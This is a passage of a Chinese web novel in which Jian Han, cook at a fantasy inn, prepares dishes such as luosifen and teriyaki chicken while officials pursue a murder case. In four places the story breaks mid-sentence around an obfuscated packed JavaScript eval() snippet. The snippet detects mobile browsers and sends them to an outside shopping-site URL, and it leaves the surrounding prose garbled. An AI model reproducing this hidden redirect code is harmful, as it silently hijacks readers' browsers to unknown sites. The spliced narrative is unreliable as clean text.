很快，一些有井的商家就开始借机卖起了水，价格还不低。 汪仙楼后院有井，但汪屿和大伙都没想过要发这种“时难财”，反而在客栈门口贴了张醒目的告示：“井水充足，街坊邻居可取用，分文不收。” 这一善举，顿时赢得了镇民的好感，连带着汪仙楼那原本惨淡的生意都意外地好了起来。 简菡起了个大早就开始在厨房忙活。 大堂里坐满了客人，熙熙攘攘，后来的客人只能自觉拼桌，否则根本没位置坐。 黄掌柜家卖的新鲜“黄河”大鲤鱼，鱼肉质肥厚，细嫩少刺。 她将鱼收拾干净，在鱼身两面均匀地划上几刀，用料酒、姜片、盐稍微腌制入味。然后提起鱼尾，在鱼身表面薄薄地拍上一层干淀粉，放入烧热的油锅中，炸至外皮金黄酥脆，捞出控油。 锅中留底油，放入切好的番茄丁，小火翻炒，直到番茄软烂出沙，炒出红油。然后加入适量的番茄酱、白糖、白醋、盐和少许清水，熬成浓稠酸甜的茄汁。 将炸好的鲤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635972|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼放入锅中，用勺子将滚烫的茄汁不停地浇在鱼身上，让鱼充分吸收味道，小火煨一会儿即可出锅装盘。 最后再淋上锅中剩余的茄汁，撒上少许葱花点缀。 “汪屿！上菜！”简菡对着厨房里悬在空中追随她的铃铛喊道。 她刚说完，大堂里汪屿身边的铃铛立马就清脆地响了一下。 “来了。” 汪屿的声音很快传来，他端着托盘来到后厨，将简菡准备好的大白馒头和色泽红亮诱人的茄汁鱼一同给客人端了过去。 茄汁鱼一端上桌，那混合了油炸的焦香和番茄酸甜的独特香气就瞬间吸引了食客的注意。 鱼身保持着完整的形态，披着一层红艳艳的“外衣”，看起来就令人食指大动。 这位白发老者，也算是个老饕，光是闻着味道，浑浊的眼睛都亮了不少。 他迫不及待地拿起筷子，先是小心翼翼地蘸了一下盘底的茄汁，送到嘴边嘬了一口。 汤汁入口，首先是番茄天然的酸甜，极其开胃，接着是白糖带来的柔和甜味和米醋的清爽酸味，几种味道层次分明却又完美融合，酸甜度恰到好处，既不会过于甜腻，也不会酸得呛口，还带着一丝若有若无的咸鲜，衬托得番茄的味道更加浓郁。 “嗯！好汁！” 老者满意地点点头，赞了一句。 随后，他将筷子伸向了最肥美的鱼腹部位，夹起一块雪白的鱼肉。 鱼肉经过先炸后煨，外层的酥脆感依旧有所保留，内里的鱼肉却无比鲜嫩，饱含着鲜美的汁水。 鱼肉本身的原味并没有被浓郁的茄汁掩盖，反而在酸甜的衬托下显得更加鲜美。 尤其是选用的是黄掌柜家特有的鲤鱼，肉质紧实细腻，几乎没有土腥味，口感极佳。 老者脸上已经带着满足的快意，他撕了块松软的大白馒头，蘸了蘸盘子里酸甜的茄汁喂进嘴里，眼睛已经开始满意地扫荡墙上的其他菜品招牌了。 这店……味道确实扎实，价格也公道，值得再来！ “水能喝了！高粱河的水能喝了！” 街上有人边跑边喊，声音里充满了激动和如释重负。 这消息如同长了翅膀，瞬间传遍了整条街。 汪仙楼里正在吃饭的客人们也都坐不住了，纷纷起身往门口凑，想听得更真切些。 县衙既然有了新证据，便一早便派出官差开始四处通知大伙，解除了高粱河的禁制。 这下子，街上可乱了套了！ 之前恐慌之下花了高价买水的百姓们，顿时觉得自己当了冤大头，纷纷涌向那些趁机抬价卖水的店铺，嚷嚷着要退钱。 卖水的店家自然不肯，双方争执不下，推搡叫骂声不绝于耳。 “退钱！黑心肝的！赚这种昧心钱！” “凭什么退！水是你们自愿买的！当时可是救急！” “我不管！现在水没事了，这钱就得退！” …… 报信的官差还没走到这条街的尽头，加上人手严重不足，一时半会儿地，就算有人想去报官，也找不到人来管这突如其来的混乱。 一些情绪激动的百姓趁乱直接冲进店里，开始抢夺柜台上的银钱和货物，场面顿时失控，一片鸡飞狗跳。 31. 螺蛳粉 “都别动！” 一声厉喝如同惊雷般在混乱的街面上炸响。 回客栈来取东西的瞿如正好撞见了这场因退水钱引发的暴乱。 他见状，连忙带人拔刀上前镇压。 凛冽的刀光瞬间镇住了一部分人。 有人百姓看苗头不对，揣紧怀里刚抢来的银子，缩着脖子就想趁乱溜走。 瞿如身形如电，猛地一闪，众人只觉眼前一花，他手中的钢刀已经架在了那人的脖子上，冰凉的刀锋与皮肤几乎只差毫厘，吓得那人当场僵住，面如土色，□□瞬间湿了一片。 有了这出“杀鸡儆猴”，原本喧闹失控的场面瞬间安静下来，众人变得乖巧无比，大气都不敢出。 瞿如冷着脸，迅速了解了前因后果。 他略微思忖，觉得此事虽小，却关乎民心，便立刻用传讯符向狄壬和本县县令都分别通报了情况。 在得到“酌情处理，以安民心”的准许后，他便当场做主调和起来。 他宣布：商户利用危难，赚取的不良所得需全数归还百姓，不得有误。但百姓也不可趁乱□□夺，之前拿了店家东西或银钱的，需得按实际数额，归还店家。 解决完这一家的纠纷，其他在别家商户买过水的百姓也仿佛看到了救星，纷纷围上来，嚷嚷着求“青天大老爷”主持正道。 瞿如几人还有要务在身，解决这一家已经费了不少时间，实在难以分身再去逐一调解。 他只得高声下令，勒令其余涉事商户必须按此规矩自行处理，若有违抗或欺瞒，百姓告到县衙，则按律令不仅要加倍罚款，掌柜的还得挨板子！ 在百姓们感激涕零的“青天大老爷”呼声中，瞿如几人好不容易才挤出人群，脱身出来，只觉得比打了一架还累。 脚刚踏进汪仙楼的门槛，一股极其霸道、难以形容的气味就猛地往他鼻子里钻！ “诶我去！什么味道！” 瞿如被呛得一个趔趄，赶紧捂住鼻子退了出来，英俊的脸上写满了惊恐和嫌弃，“茅厕炸了？！怎么一股……一股屎味啊！” 他惊疑不定地探头往屋里瞧，只见大堂里赫然分成了泾渭分明的两拨人。 右手边的那群客人都跟他一样，脸上是毫不掩饰的嫌弃，有的甚至用袖子死死捂着口鼻。而左手边那一小撮人，却个个吸溜吸溜地吃着碗里红油滚滚、配料丰富的汤面，一脸满足，仿佛置身天堂。 瞿如放下手，狐疑地又嗅了一下空气，立马再次死死捂住鼻子。 没错！那“屎味”的源头就是左边那群人碗里的东西！ “是螺蛳粉。” 汪屿板着脸，鼻子上还滑稽地塞着两团小纸条，声音因为鼻子被堵而有些闷。 螺蛳粉？什么玩意儿？ 瞿如皱紧了眉头，整张脸都快皱成包子了。 这味道……真不是茅坑炸了吗？！ 他抬头看了下通往二楼的楼梯，心里在激烈斗争，要不要直接施展从外面跳到房顶，再翻窗进去拿东西算了，这大门他是真不想进了！ 汪屿一眼就看穿了他的想法，站在原地凉凉地补了一句：“没用的，放弃吧。后院厨房味儿更冲，整个客栈都沦陷了。” 靠！ 瞿如没说话，但他那扭曲的面部表情已经充分表达了他此刻内心奔腾的脏话。 上楼的路只此一条！伸头一刀，缩头也是一刀！ 瞿如把心一横，双手飞快捏诀，心中默念咒语，暂时屏蔽了自己的嗅觉和味觉。 直到感觉那股萦绕不散的“恶臭”终于消失了，他才长长地舒出一口气，仿佛重新活了过来。 他快步冲上楼梯，匆匆忙忙在楼上取完要用的卷宗。下楼的时候，他的目光忍不住又瞥向那群吃得正香的人，心里充满了巨大的疑惑：这东西，闻着都这样了，真能好吃？ 看他们那陶醉的样子，不像装的啊…… 带着满腹疑问，瞿如走向了后院。 穆阳带人外出办差，给大伙带饭的活，就顺道落到了他头上。 其实这“螺蛳粉”的源头，还得从早上说起。 早上来了个客人，风尘仆仆，带着浓重的南方口音，点名要吃“臭粉”。 简菡在厨房里寻思了半天，也没想到这是个什么东西。她只好去大堂跟客人细细询问，从对方的口音和对“臭粉”那“闻着臭，吃着香”、“有酸笋”、“带螺蛳汤”的描述中，得到了一个模糊的答案。 莫非是螺蛳粉？ 她抱着试一试的心态，凭着记忆和想象，捣鼓着做了一碗端上去，没想到还真让她蒙对了！ 那客人吃得满头大汗，赞不绝口。 只是这可苦了客栈里的其他客人。 这东西，就跟臭豆腐一样，爱的爱死，恨的恨死。喜爱之人觉得香飘万里，厌恶之人则觉得臭不可闻，干呕不止。 瞿如来的时候，厨房里酸笋和螺蛳汤的味道还没散尽。他大意地解除了屏蔽术，瞬间再次被这浓郁的味道冲了鼻子！ “诶我去！” 他惨叫一声，赶紧再次将嗅觉和味觉屏蔽起来，心有余悸地看着正在灶台前忙碌的简菡。 “简菡姑娘，这……这到底是什么东西啊？” 居然能在厨房制造出如此“生化武器”般的效果！ 简菡正忙着做溜肉段，锅铲翻飞，只能抽空抱歉地对他笑了笑：“不好意思啊官爷，就是一种南方的小吃，叫螺蛳粉。爷找我可是有事？” 小吃？ 瞿如的脑子里立马浮现出大堂里那些人吃的汤汤水水。 还有……这么臭的小吃！ 真是世界之大，无奇不有！ 他甩甩头，想起正事，将狄壬吩咐的订购县衙午时团体餐的事情跟简菡说了一下。 简菡此刻正忙得团团转，灶上还坐着三份螺蛳粉的汤锅，一时半会还真腾不出手来接这么大的单子。 她将做好的、色泽金红、香气扑鼻的溜肉段往盘子里装，无奈地说道：“官爷，您急么？急得话可能劳驾您先去别家订购了。我这还有三份螺蛳粉没做呢，客人等着呢。” “不……不急，”瞿如连忙摆手，“狄大人说了，午时之前能做出来就行。” “那成！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640479|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”简菡听完，对他露齿一笑，赶紧刷干净锅，烧上水准备煮粉。 “那个……”瞿如看着简菡利落的背影，犹豫了一下，有些不好意思地开口，“简菡姑娘，能不能……也给我做一份那个……嗯……臭味的吃食尝尝？” 他实在好奇，这东西到底有什么魔力。 “啊？”锅里水沸腾的哗哗声，让简菡没太听清楚。 “我说，我也想来一份那个臭味的吃食尝尝！”瞿如提高了音量。 简菡一时没反应过来，过了几秒才明白他说的什么意思，忍不住笑了，她熟练地报出选项：“成啊！官爷要什么样的？基础版、豪华版还是全家福？” 瞿如根本听不懂这些名堂，只能凭着感觉随意选了一个：“给我来个……全家福吧。” “成！爷去大堂等会儿，马上就好！” 简菡爽快地应下，捏起一把泡软米粉放进竹篓里，浸入滚水中。 螺蛳粉用的米粉是用陈年米制成的干粉，提前泡软，再在滚水中烫熟。 烫好的米粉，口感爽滑筋道。放入大碗中，铺上烫熟的青菜和金针菇。然后浇上灵魂——用螺蛳、猪骨、鸡架加上十几种香料熬制了数个时辰的浓郁汤底。 接着是丰富的配料：酸笋、酸豆角、油炸腐竹、香脆的花生米。 到这还只是基础。 既然是“全家福”，简菡毫不手软地往上加码：一个炸得金黄蓬松、边缘焦脆的炸蛋，一块炖得软烂脱骨、虎皮起皱的猪脚，两只卤香入味、一嗦就脱骨的鸭脚，几个软糯的鸡爪，几片卤豆干，几片叉烧肉，还有一勺卤得恰到好处的肥肠！最后撒上葱花和香菜。 满满一大“碗”色彩缤纷、内容丰富到几乎要溢出来的全家福螺蛳粉就完成了！ 当这“盆”粉端到瞿如面前时，他震惊了！ 这分量，这配料，难怪叫全家福，估计能加的荤腥都加了一遍！ 他用筷子在碗里翻动了一下，各种配料在红油汤中若隐若现，视觉冲击力极强。 他尝试着解除了身上的屏蔽，然后怀着一种近乎悲壮的好奇心，夹起一筷子浸满了红油的米粉，吹了吹，送入口中。 米粉爽滑弹牙，带着米香，瞬间被酸、辣、鲜、爽、烫的复合味道包围。 汤底浓郁醇厚，螺蛳的鲜味与骨汤的香味完美融合，辣得过瘾，酸得开胃，几种看似矛盾的味道在口中达成了奇妙的平衡。 酸笋那股特殊的“臭”味此刻，在咀嚼后转化成了一种难以言喻的发酵酸香，极其勾人食欲。 炸蛋吸饱了汤汁，一口咬下去，汤汁在口中爆开；虎皮猪脚软烂粘糯，胶质丰富；鸭脚鸡爪一抿就化；肥肠处理得干净，卤香十足，嚼劲恰到好处…… 瞿如的眼睛猛地瞪大了！ 从最初的谨慎尝试，到被味道惊艳，再到彻底喜欢上这口味道，只用了短短几口的时间！ 这玩意儿……吃起来跟闻着完全是两回事啊！ 太香了！ 他吃得额头冒汗，嘴唇红肿，却根本停不下来，吸溜吸溜的声音比旁边那桌还响！ 真香！ 32. 照烧鸡排饭 瞿如正埋头吃得酣畅淋漓，满头大汗，完全沉浸在螺蛳粉那酸辣鲜爽的独特世界里。忽然，两个熟悉的身影悄无声息地出现在他面前，把他惊得一个哆嗦。 刚嗦到嘴边的米粉“哧溜”一下又滑回了碗里，溅起的红油汤汁不幸落在了他官服的领口附近，晕开一小片油渍。 “神出鬼没的，干嘛呢！”瞿如没好气地抬头，瞪着他那两个同样穿着公服的下属。 这两人都是刚加入缉妖司不久的少年郎，一个原型是嗅觉灵敏的细犬，另一个则是眼神极好的隼鸟。 “大人，你怎么自己吃上了？” 两个少年一脸哀怨地盯着他，尤其是那个细犬兽人，鼻子不停地抽动，表情复杂极了，仿佛在说：不是一股那啥味吗？头儿你怎么自己偷偷吃起来了？还吃得这么香！ 瞿如看了眼碗里已经所剩不多的粉和汤，又看了看两个少年渴望又带着点怀疑的眼神，不好意思地客气了一下：“那个……味道是有点独特，但吃起来真不错……要……尝尝吗？可好吃了……” 按照瞿如的设想，这群之前跟他一样对这股味道避之不及的家伙，肯定会严词拒绝，说不定还会露出嫌弃的表情。 可他客气的话还没说完，那个隼鸟兽人少年，仗着年纪小性子直，竟然真的拿起他刚放下的筷子，学着他的样子，夹起一筷子米粉，犹豫了一下，然后眼睛一闭，吸溜一口嗦进了嘴里！ 细犬少年紧张地看着同伴的反应。 隼鸟少年咀嚼了两下，紧闭的眼睛猛地睁开，里面充满了不可思议的光芒！他含糊不清地“唔！”了一声，连连点头，伸出大拇指！ 有了“第一个吃螃蟹的人”，细犬少年也立刻跃跃欲试。 瞿如那句“我就客气一下”的话还哽在喉头，没说出来也没吞进去的时候，这两个小子已经完全不顾上下尊卑，兴奋地抱起那个大碗，捧到嘴边，你一口，我一口，风卷残云般，连粉带汤，甚至最后那点汤汁都被他们喝得一滴不剩！ “真香！” 二人放下空空如也的盆，异口同声地发出了由衷的赞叹，还没吃够似的，舔了舔嘴唇。 瞿如看着面前这景象，张了张嘴，真是一句话都说不出来了。 他的全家福……他还没吃够呢！ “爷，您定的县衙餐食好了，您看怎么带走啊？”简菡端着给其他客人的菜从厨房走出来，上完菜后快步走了过来，看到空盆和三个表情各异的官差，愣了一下。 “你！还愣着干什么！快去拦辆车去！” 瞿如把一腔“悲痛”化作动力，一脚轻轻踢在了那个率先动筷子的隼鸟少年屁股上。 “哦哦，好！这就去！”那少年反应过来，连忙应声，一边往外跑还一边回味地舔了舔嘴，一副意犹未尽的模样。 很快，几个装着饭菜的大木桶被一一抱到了雇来的牛车上。 瞿如看着简菡，有些不好意思地凑近了些，压低声音问道：“简菡姑娘，那个……我晚上若是得空，方便再来吃一碗螺蛳粉吗？就……全家福那种！” 简菡闻言，有些为难地指了指厨房角落那个不大的陶坛：“不好意思啊官爷，我就做了这么一小坛酸笋，照现在这个卖法，怕是下午就得卖光了，晚上肯定是没有了。” 瞿如闻言，瞬间怔住，脸上期待的笑容僵住了，眼神肉眼可见地黯淡下去。 “好吧……谢谢简菡姑娘。” 他像是被霜打了的茄子似的，整个人都蔫儿了，无精打采地爬上了牛车，连背影都透着失落。 ========= 牛车吱吱呀呀地回到县衙。 饭来了，门口当差的衙役下意识就笑着迎了上来。 可还没靠近，瞿如几人身上残留的那股浓郁独特的螺蛳粉味就扑面而来，熏得他们脸色一变，捂着鼻子连退了好几步，眼神惊疑不定。 “瞿、瞿大人……您这带回来的……确定是饭食？”一个衙役强忍着不适，艰难地问道。 被同僚如此明显地嫌弃了一番，瞿如和两个少年的脸上都带了几分羞赧。 他们偏过头，正好瞧见赶车的车夫不知何时已经用一块布条蒙住了口鼻，显然也是被他们身上的味道熏得不行。 瞿如几人脸上挂不住，立刻暗中施展净身术，想去除身上的气味。 但也不知道是这螺蛳粉的味道太过顽固，还是他们的心理作用，净身术连着使用了七八遍，抬手闻闻袖子，那味道依旧若有似无地萦绕着，一点不减。 无奈，只好硬着头皮，顶着众人异样的目光，把饭食抬了进去。 县衙大堂里，气氛十分凝重。 从熊岳那间石屋破开的口子，一路顺藤摸瓜查到了那名死者费渔身上，线索便又断了。 这费渔用的身份路引全都是伪造的，案子再一次陷入了僵局。 查不到费渔的真实身份，就连他是否与熊岳有过直接接触都无法证实。 目前，费渔身上留下的唯一有价值的线索，便是他贴身携带的一块玉牌。 玉牌质地温润，做工细致，像极了官府正品，但狄壬一眼就看出那是京都“击石斋”独有的工艺和风格。 狄壬捏着山根处，只觉得脑袋嗡嗡作响，疲惫和压力如同潮水般涌来。 这背后的水，看来比想象的要深。 “头儿！吃饭了！”瞿如带着人，抬着木桶走了进来。 连续高强度的工作这么多天，说不累那是假的。 “走吧，去侧殿，边吃边聊。”狄壬率先起身，带着众人往外走。 既然是团体餐，简菡便挑着量大、管饱、方便分食的菜色准备。 选用肥嫩的全鸡腿，去骨后用刀背轻轻拍松，用酱油、清酒、味淋、姜汁和少许糖腌制入味。 大铁锅烧热，鸡皮朝下放入鸡腿，煎至两面金黄，逼出多余的油脂，然后倒入调好的照烧汁，小火慢炖，让鸡腿充分吸收汤汁的味道，直至汤汁浓稠，色泽红亮诱人。 这样做出的照烧鸡腿，肉质鲜嫩多汁，照烧汁甜咸适中，带着淡淡的酒香，非常下饭。 同时，她也用大木桶蒸了满满一桶香气扑鼻的白米饭。 “你身上什么味？” 瞿如正要去打开桶盖给大家盛饭，站在他旁边的狄壬忽然微微蹙眉，嗅到了一股……难以形容的、略带刺激性的气味。 瞿如和那两个跟去的小少年的脸瞬间爆红，支支吾吾地说：“就……一种小吃……叫螺蛳粉的味道……是有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646445|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霸道，怪独特的哈……” 瞿如不好意思地挠了挠头。 狄壬鼻尖耸动，又仔细嗅了嗅。随后他狐疑地看了瞿如和那两个少年一眼，没再多问，坐到了主位上。 心里却暗自嘀咕：这三人……莫不是掉茅厕了，还不好意思明说吧？ 先在碗底盛上热气腾腾的白米饭，用饭勺稍稍压实，然后从另一个木桶里捞起一大勺的、炖得酱红油亮的鸡腿肉丁均匀地铺在米饭上，最后再淋上一勺浓稠的照烧汁，让酱汁缓缓渗透到米饭中。 “大人，请用饭。”瞿如将第一碗照烧鸡腿饭恭敬地递给了狄壬。 狄壬心里对那若有若无的气味还是有些芥蒂，但面上并未显露，只不动声色地拿起手边的干净帕子，借着整理的姿势，背着瞿如，默不作声地将碗的边缘和筷子都仔细擦拭了一遍。 他执起筷子，夹起一块鸡肉。 鸡皮煎得焦香，带着照烧汁特有的光泽，肉质嫩滑，汁水饱满。送入口中，甜咸交织的照烧味瞬间在舌尖绽放，恰到好处的甜味衬托出鸡肉的鲜美，咸味则引出了更深层次的滋味。 再扒一口吸饱了酱汁的米饭，米香和肉香、酱香完美融合，幸福感油然而生。连日来的疲惫仿佛都被这碗扎实美味的饭菜抚慰了不少。 “大人！”就在这时，穆阳匆匆从外面走了进来，脸上带着一丝振奋，“确认了！费渔身上那块玉牌，确实是京城击石斋流出来的东西！那边有记录，但买主信息不详。” 还真是击石斋？ 狄壬的心猛地一沉。 击石斋在京城名气不小，专做高端玉石生意，往来非富即贵，但也因其客户特殊，对买主信息保密极严。 这玉牌出现在一个身份不明的死者身上，无疑将案子的指向引向了京城，情况变得更加复杂。 他偏过头，对坐在另一方桌子上吃饭的瞿如沉声吩咐道：“吃完饭，立刻整理好所有相关卷宗，再派人去汪仙楼把我们的行李取回来。咱们今夜就赶夜路，押解熊岳，秘密返回京城！此事关系重大，务必谨慎，不得走漏风声！” “是！大人！” 瞿如慌忙咽下嘴里的一大口饭，放下筷子，抱拳领命，神色瞬间变得严肃。 穆阳的肚子此时也发出了“咕噜噜”的哀嚎。 他眼尖，瞧见桌上有空碗筷，桶里也还有饭食，便不客气地带着几个同样刚回来的兄弟，自己动手盛了饭。 四下看了看，只有狄壬和瞿如这桌还有空位。 多给他十个胆子，他也不敢坐到狄壬边上去。无奈，他只好端着碗径直朝瞿如那边走了过去。 才一靠近，他犬兽人灵敏的鼻子就清晰地捕捉到了一股……难以描述的、类似那啥的气味。 他的脚步微不可察地顿了一下，但面上不动声色，继续朝着那桌走了过去。 “瞿大人，劳驾拼个桌。”穆阳笑着打了声招呼，在得到瞿如略的点头后坐了下来。 那源源不断的、若有似无的“独特”气味从瞿如身上传来，狄壬虽然面上不显，但心里觉得碗里的照烧鸡腿饭似乎都没那么香了。 他偷瞄了一下瞿如的衣角，心里暗暗吐槽：这位瞿大人……今天到底经历了什么？莫不是掉茅厕里了？ 33. 牛肉粉丝汤 狄壬那一群人来得匆忙，走得更是悄无声息。 瞿如中午还眼巴巴地跟简菡说晚上得空想来吃一顿臭烘烘又香喷喷的螺蛳粉当夜宵，可还没等到太阳落山，他们便集体退了房，消失得无影无踪。 傍晚时分，天色愈发阴沉，乌云低垂，空气中弥漫着潮湿的土腥气，显然正在酝酿一场不小的暴雨。 聂松架着他的小驴车，顶着渐起的狂风特意来了一趟汪仙楼，告诉简菡看这天色，明天八成有雨，卤货怕是卖不动，今晚就先别准备了。 他来的时候，客栈里大家正围坐在一起吃晚饭。 雪翎还热情地招呼他一起坐下吃点，聂松憨厚地摆摆手，说是惦记着家里要收晾晒的干货，着急回去，便匆匆告辞了。 他走的时候，一阵更强的秋风吹过，街上的落叶被风卷起来，打着旋儿漫天飞舞，发出沙沙的声响。 这下子，真的有了几分萧瑟的秋日模样。 “吃饭呀！发什么呆啊？”雪翎见简菡望着门外有些出神，给她夹了块红烧肉放进碗里。 “好。”简菡对雪翎笑了一下，将那块油亮诱人的肉放进了嘴里。 一场秋雨一场寒，这话一点不假。 暴雨果然在夜间倾盆而下，哗啦啦地下了一整夜都没停歇，雨点密集地敲打着屋顶和窗户，让人睡得都不甚安稳。 隔天清晨，简菡像往常一样准时起床。她推开房门，一股夹杂着湿气的寒意瞬间扑面而来！ 狂风裹挟着细密的雨丝，直直地吹了进来，仅仅是一瞬间的功夫，便将她身上单薄的睡衣吹得湿了大半，冰凉的布料贴在皮肤上，激得她猛地打了个哆嗦。 “好冷啊！”她惊呼一声，赶紧“啪”地将房门合上，还是被冻得接连打了好几个冷颤。这秋雨后的温度，降得可真厉害！ 她赶紧将身上湿了的衣裙换下来，穿上了前几天在织霞苑新买的那套浅碧色的秋装。 她推门的动静被早就醒来的墨无咎听见了。 简菡刚系好裙带，雪翎就推门进来了，脸上带着些许慵懒：“今天这鬼天气，肯定没客人，不多睡会儿？” 没客人？ 简菡摆弄衣裙的手顿了一下。她想到外边的狂风暴雨，这才反应过来。 这大雨滂沱的，谁没事会出门来吃饭啊？ 但……起都起来了，生物钟使然，再躺回去也睡不着。 她摇摇头，“不了，习惯了。” 说着，她拿起靠在门边的一把油纸伞，正欲撑开出门去厨房，雪翎却伸手按住了她的手。 “用不着伞。” 啊？ 简菡正困惑呢，雪翎已经直接伸手推开了通往院子的大门。 奇怪的是，门外虽然天色阴沉，地上的青石板也看着湿漉漉的，反射着水光，但空中却没有半点雨丝落下！ 简菡惊讶地抬头，这才发现整个客栈院子的上空，不知何时被撑起了一道肉眼几乎看不见的、泛着淡淡微光的透明结界，如同一个巨大的琉璃碗倒扣下来，将瓢泼大雨完美地隔绝在了外面！ 不仅如此，当她小心翼翼地伸出脚踩到地上时，更是惊喜地发现，连脚下的地面也覆盖着一层薄薄的结界，走在上面干爽无比，完全不用担心泥水溅湿鞋袜和裙摆！ “好厉害！”简菡看向雪翎的目光顿时充满了崇拜。 这下她彻底放心了，松开了一直小心翼翼提着的裙摆，挺直腰板，大摇大摆地走了出去。 葫芦削去皮，用一个带着孔径的刨丝器来回刮擦。淡黄色的葫芦肉瞬间被刨成了粗细均匀、晶莹剔透的细丝，簌簌地落在下面的大盆里。 “这玩意儿……晒干了能好吃吗？” 墨无咎停了手上的动作，看着那一盆葫芦丝，脸上是毫不掩饰的嫌弃。 “等以后你就知道了，”简菡笑着看了他一眼，手上动作不停，“等它晒干了，冬天放进铁锅炖里，吸饱了汤汁，保准把你香迷糊了！” “就是！你要是不乐意干就别吃！”雪翎叉着腰，故作凶狠地瞪了墨无咎一下。 那黑猫帅哥立马就“老实”了，低下头，认认真真地用刨丝器挂着葫芦丝。 啧！ 简菡压低眉毛，半眯着眼睛看着这俩人。 空气中仿佛弥漫着一股……酸臭味！ 爱情的酸臭味呦！ 雪翎被她看得不好意思，轻轻拍了她胳膊一下：“瞎琢磨什么呢！赶紧干活！” 几人说说笑笑，一边聊天一边干着活，倒是一点都不觉得累。 “话说，”雪翎手上动作慢了下来，“狄大人他们就那么走了？那采花贼的案子，还有小梁山那条人命，就这么不了了之了？” 她心里可还一直记挂着这几桩悬案呢。 “哒哒！” 雪翎面前的桌子被汪屿用指关节不轻不重地叩了两下。 汪屿黑色的狼眸带着罕见的严肃和警示，扫过雪翎和竖起耳朵的简菡：“不该问的别问！京城来的人办案，自有他们的章程和忌讳。” 他的眼神极具震慑力，雪翎嘴唇嗫嚅了几下，到底是不敢再多嘴，老实地闭上了嘴，低下头继续干活。 气氛一时间有些沉闷和压抑。 简菡眼珠一转，为了活跃气氛，提议道：“哎，这么阴沉的天气，最适合讲点刺激的了！咱们一人讲一个鬼故事怎么样？轮着讲，直到有胆小鬼受不了喊停为止。而这个最后的胆小鬼……” 她故意拖长了语调，坏笑着看向众人，“必须要包揽三天大堂所有的打杂活儿！擦桌子扫地洗碗全归他！” 墨无咎闻言，几乎是下意识地先瞧了眼身旁的雪翎，然后嘴角一勾，率先开了口，声音低沉而富有磁性，瞬间将众人带入氛围：“好，那我先来。说从前，有个书生赶夜路，投宿在一间荒废的古庙里……” 他讲得绘声绘色，尤其是在描述夜深人静，古庙外忽然传来“咚咚咚”的敲门声时，语气拿捏得恰到好处，吓得雪翎和简菡已经抱成了一团，连汪屿的狼耳朵都警惕地竖了起来。 就在墨无咎压低了声音，说到“那敲门声越来越急，仿佛就在耳边……”的时候…… “咚咚咚！” 客栈的大门，真的被人不紧不慢、极有节奏地敲响了三声！ “啊！！！” 简菡和雪翎的尖叫声瞬间划破了大堂内的宁静，两人吓得抱得更紧了，脸色发白。 连一向淡定的墨无咎和汪屿都吓了一跳，墨无咎的猫尾巴“唰”地炸了毛，汪屿也瞬间进入了戒备状态。 “谁！”汪屿强作镇定，对着大门方向喝问了一声，声音带着一丝不易察觉的紧绷。 门外安静了一瞬，然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651180|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后传来一个清脆又带着点无奈的女声：“是我，甘芮。” 听到这个熟悉的名字，众人那慌乱如擂鼓的心跳这才稍稍缓和下来。 简菡拍了拍胸口，长长舒了口气，放下手里的葫芦，快步走过去打开了门。 风雨果然不小，甘芮身上虽然穿着蓑衣，但蓑衣下摆和裤脚还是被雨水打湿了大半，发梢也滴着水珠。 她赶紧将人迎了进来。 “你怎么自己跑来了？还挑这么个天气？”简菡一边帮她解下湿重的蓑衣，一边找了条干净的毛巾递过去。 甘芮接过毛巾擦拭着脸上的雨水，那双蜂鸟翅膀头饰因为寒冷而微微颤抖着：“我好不容易才说服了我娘的！京城厨神要回老家举办厨神争霸赛，借此宣告他要从御膳房告老还乡的消息！这样的热闹，我怎么能错过？” 厨神？ 简菡没听过这名号。 但“争霸赛”和“热闹”这两个词，瞬间点燃了她的兴趣！ “你该不会说……那厨神的老家，就是我们五福镇吧？” “对啊！”甘芮肯定地点了下头，擦头发的动作顿住，疑惑地看向简菡，“你们……不知道吗？消息应该早就传开了才对啊？” 